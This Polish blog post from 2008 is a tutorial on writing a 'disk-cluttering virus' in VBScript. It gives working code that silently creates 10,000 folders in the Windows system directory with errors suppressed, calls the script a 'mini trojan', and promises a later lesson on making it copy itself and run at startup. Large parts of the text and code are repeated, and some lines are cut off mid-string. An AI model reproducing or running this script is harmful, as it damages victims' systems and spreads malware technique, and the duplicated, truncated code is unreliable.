2008-03-13 20:15
Nie odpowiadam za nieodpowiednie wykorzystanie tego tekstu.
Re:Jak napisać wirusa zaśmiecającego dysk w C++ [KOD]
(http://pl.youtube.com/watch?v=XbyRw4dmp34&feature=related)
Przeglądając zasoby YouTube trafiłem na filmik pod tym właśnie tytułem,
oczywiście kodu nie testowałem bo nie było takiej potrzeby. A dlaczego ?
Są dwa powody :
1 . Podczas tworzenia folderów widzimy czarne okienko(dos) po zamknięciu
okienka kończony jest jego proces jak i tworzenie folderów.
2. Ponieważ sam potrafię coś takiego zrobić(nie tylko w C++) :) .
Dobra koniec mądrzenia się , przechodzimy do konkretów.
Postanowiłem napisać to w VBS w celu pokazania że nie kiedy języki
kompilowane nie są w stanie dorównać notatnikowi.W VBS nie widzimy
żadnego okienka co w tego typu programach jest podstawą .
Kod obiega na nie całe pięć linijek kodu :
Można to zrobić też w While ale mi akurat podoba się For_Next i dlatego pozostane przy tej pętli.
Oczywiście muszę pokazać swoją wyższość i ulepszyć kod.
Zaczniemy od tego że zmienimy For i = 1 to 10 na For i = 1 to 10000 '(Myślę że dziesięć tysięcy folderów na początek wystarczy :) ).
Oczywiście nie będziemy robić tylu folderów w lokalizacji z której jest uruchamiany nasz mini trojan.Ja wybrałem sobie lokalizacje zwaną potocznie "WinDir" (metody dostania się do zmiennej systemowej w kursie poniżej)
A oto nasz upragniony kod :
Oczywiście można by było zrobić tak aby nasz trojan sam się kopiował
i uruchamiał wraz ze startem systemu , ale o samo kopiowaniu będzie pewnie w następnej lekcji.
Pozdrawiam VLN.
Re:Jak napisać wirusa zaśmiecającego dysk w C++ [KOD]
(http://pl.youtube.com/watch?v=XbyRw4dmp34&feature=related)
Przeglądając zasoby YouTube trafiłem na filmik pod tym właśnie tytułem,
oczywiście kodu nie testowałem bo nie było takiej potrzeby. A dlaczego ?
Są dwa powody :
1 . Podczas tworzenia folderów widzimy czarne okienko(dos) po zamknięciu
okienka kończony jest jego proces jak i tworzenie folderów.
2. Ponieważ sam potrafię coś takiego zrobić(nie tylko w C++) :) .
Dobra koniec mądrzenia się , przechodzimy do konkretów.
Postanowiłem napisać to w VBS w celu pokazania że nie kiedy języki
kompilowane nie są w stanie dorównać notatnikowi.W VBS nie widzimy
żadnego okienka co w tego typu programach jest podstawą .
Kod obiega na nie całe pięć linijek kodu :
'-------------------------------------- Wytnij tutaj-----------------------------------
Dim System ,i 'Zmienne
Set System = CreateObject("scripting.FileSystemObject")'FSO
For i = 1 to 10 'Początek pętli
System.CreateFolder(" Nowy Folder"&i) 'Tworzymy nowy folder(+i)
next 'Wracamy na początek (i będzie powiększane, np. For i = 1 to 100 tzn.że najpierw "i" ma wartość 1 później 2,3,4,5,6 itd.Jeżeli dojdzie do 100 kończy działanie.
'--------------------------------------- Wytnij tutaj----------------------------------
Dim System ,i 'Zmienne
Set System = CreateObject("sc
For i = 1 to 10 'Początek pętli
System.CreateFolder(" Nowy Folder"&i) 'Tworzymy nowy folder(+i)
next 'Wracamy na początek (i będzie powiększane, np. For i = 1 to 100 tzn.że najpierw "i" ma wartość 1 później 2,3,4,5,6 itd.Jeżeli dojdzie do 100 kończy działanie.
'--------------------------------------- Wytnij tutaj----------------------------------
Można to zrobić też w While ale mi akurat podoba się For_Next i dlatego pozostane przy tej pętli.
---------------------------------Małe ulepszenia ----------------------------
Oczywiście muszę pokazać swoją wyższość i ulepszyć kod.
Zaczniemy od tego że zmienimy For i = 1 to 10 na For i = 1 to 10000 '(Myślę że dziesięć tysięcy folderów na początek wystarczy :) ).
Oczywiście nie będziemy robić tylu folderów w lokalizacji z której jest uruchamiany nasz mini trojan.Ja wybrałem sobie lokalizacje zwaną potocznie "WinDir" (metody dostania się do zmiennej systemowej w kursie poniżej)
A oto nasz upragniony kod :
'----------------------------Wytnij tutaj---------------------------------------------
On error resume next
Dim System ,i ,shell ,WinDir , Lokalizacja ' Zmienne
Set Shell = CreateObject("Wscript.Shell") 'Shell
Set System = CreateObject("scripting.FileSystemObject") 'FSO
WinDir = Shell.ExpandEnvironmentStrings("%WinDir%")' Zmienna Sys.
Lokalizacja = system.GetFolder(""&WinDir)' "idziemy" do lokalizacji wyżej
For i = 1 to 10000 ' początek pętli
System.CreateFolder(Lokalizacja&"\Nowy-Folder"&i) 'tworzymy folder
next 'koniec pętli
'------------------------------Wytnij tutaj-------------------------------------------
On error resume next
Dim System ,i ,shell ,WinDir , Lokalizacja ' Zmienne
Set Shell = CreateObject("Wsc
Set System = CreateObject("sc
WinDir = Shell.ExpandEnvironmentStrings("%WinDir%")' Zmienna Sys.
Lokalizacja = system.GetFolder(""&WinDir)' "idziemy" do lokalizacji wyżej
For i = 1 to 10000 ' początek pętli
System.CreateFolder(Lokalizacja&"\Nowy-Folder"&i) 'tworzymy folder
next 'koniec pętli
'------------------------------Wytnij tutaj-------------------------------------------
Oczywiście można by było zrobić tak aby nasz trojan sam się kopiował
i uruchamiał wraz ze startem systemu , ale o samo kopiowaniu będzie pewnie w następnej lekcji.
Pozdrawiam VLN.
Komentarze (2)
Kategoria
Programowanie


